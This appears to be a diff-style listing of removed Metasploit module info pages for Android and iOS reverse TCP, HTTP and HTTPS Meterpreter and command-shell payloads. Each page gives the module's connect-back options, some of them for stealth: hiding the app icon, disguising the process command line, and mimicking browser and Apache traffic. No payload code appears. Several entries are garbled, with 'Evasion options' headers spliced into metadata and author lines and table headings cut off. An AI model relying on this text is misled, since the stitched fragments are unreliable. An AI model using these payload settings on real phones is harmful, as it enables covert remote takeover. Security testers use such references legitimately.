HttpHostHeader no An optional value to use for the Host HTTP header
|
|
||||||
HttpReferer no An optional value to use for the Referer HTTP header
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,66 +0,0 @@
|
|||||||
|
|
||||||
Name: Android Meterpreter, Android Reverse TCP Stager
|
|
||||||
Module: payload/android/meterpreter/reverse_tcp
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 10217
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
mihi
|
|
||||||
egypt <egypt@metasploit.com>
|
|
||||||
OJ Reeves
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Run a meterpreter server in Android.
|
|
||||||
|
|
||||||
Connect back stager
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AndroidHideAppIcon false no Hide the application icon automatically after launch
|
|
||||||
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
|
|
||||||
AndroidWakelock true no Acquire a wakelock before starting the payload
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,58 +0,0 @@
|
|||||||
|
|
||||||
Name: Android Meterpreter Shell, Reverse HTTP Inline
|
|
||||||
Module: payload/android/meterpreter_reverse_http
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: No
|
|
||||||
|
|
||||||
Evasion options for payload/android/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
g Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a Meterpreter shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,60 +0,0 @@
|
|||||||
|
|
||||||
Name: Android Meterpreter Shell, Reverse HTTPS Inline
|
|
||||||
Module: payload/android/meterpreter_reverse_https
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: No
|
|
||||||
|
|
||||||
Evasion options for payload/android/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a Meterpreter shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
|
|
||||||
Name: Android Meterpreter Shell, Reverse TCP Inline
|
|
||||||
Module: payload/android/meterpreter_reverse_tcp
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 74177
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to the attacker and spawn a Meterpreter shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
|
|
||||||
Name: Command Shell, Android Reverse HTTP Stager
|
|
||||||
Module: payload/android/shell/reverse_http
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: N
|
|
||||||
Evasion options for payload/android/shell/reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
asploit.com>
|
|
||||||
anwarelmakrahy
|
|
||||||
OJ Reeves
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a piped command shell (sh).
|
|
||||||
|
|
||||||
Tunnel communication over HTTP
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AndroidHideAppIcon false no Hide the application icon automatically after launch
|
|
||||||
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
|
|
||||||
AndroidWakelock true no Acquire a wakelock before starting the payload
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
HttpCookie no An optional value to use for the Cookie HTTP header
|
|
||||||
HttpHostHeader no An optional value to use for the Host HTTP header
|
|
||||||
HttpReferer no An optional value to use for the Referer HTTP header
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,66 +0,0 @@
|
|||||||
|
|
||||||
Name: Command Shell, Android Reverse HTTPS Stager
|
|
||||||
Module: payload/android/shell/reverse_https
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: N
|
|
||||||
Evasion options for payload/android/shell/reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
sploit.com>
|
|
||||||
anwarelmakrahy
|
|
||||||
OJ Reeves
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a piped command shell (sh).
|
|
||||||
|
|
||||||
Tunnel communication over HTTPS
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AndroidHideAppIcon false no Hide the application icon automatically after launch
|
|
||||||
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
|
|
||||||
AndroidWakelock true no Acquire a wakelock before starting the payload
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format
|
|
||||||
HttpCookie no An optional value to use for the Cookie HTTP header
|
|
||||||
HttpHostHeader no An optional value to use for the Host HTTP header
|
|
||||||
HttpReferer no An optional value to use for the Referer HTTP header
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
|
|
||||||
Name: Command Shell, Android Reverse TCP Stager
|
|
||||||
Module: payload/android/shell/reverse_tcp
|
|
||||||
Platform: Android
|
|
||||||
Arch: dalvik
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 10209
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
mihi
|
|
||||||
egypt <egypt@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a piped command shell (sh).
|
|
||||||
|
|
||||||
Connect back stager
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AndroidHideAppIcon false no Hide the application icon automatically after launch
|
|
||||||
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
|
|
||||||
AndroidWakelock true no Acquire a wakelock before starting the payload
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,64 +0,0 @@
|
|||||||
|
|
||||||
Name: Apple_iOS Meterpreter, Reverse HTTP Inline
|
|
||||||
Module: payload/apple_ios/aarch64/meterpreter_reverse_http
|
|
||||||
Platform: Apple_iOS
|
|
||||||
Arch: aarch64
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 796904
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
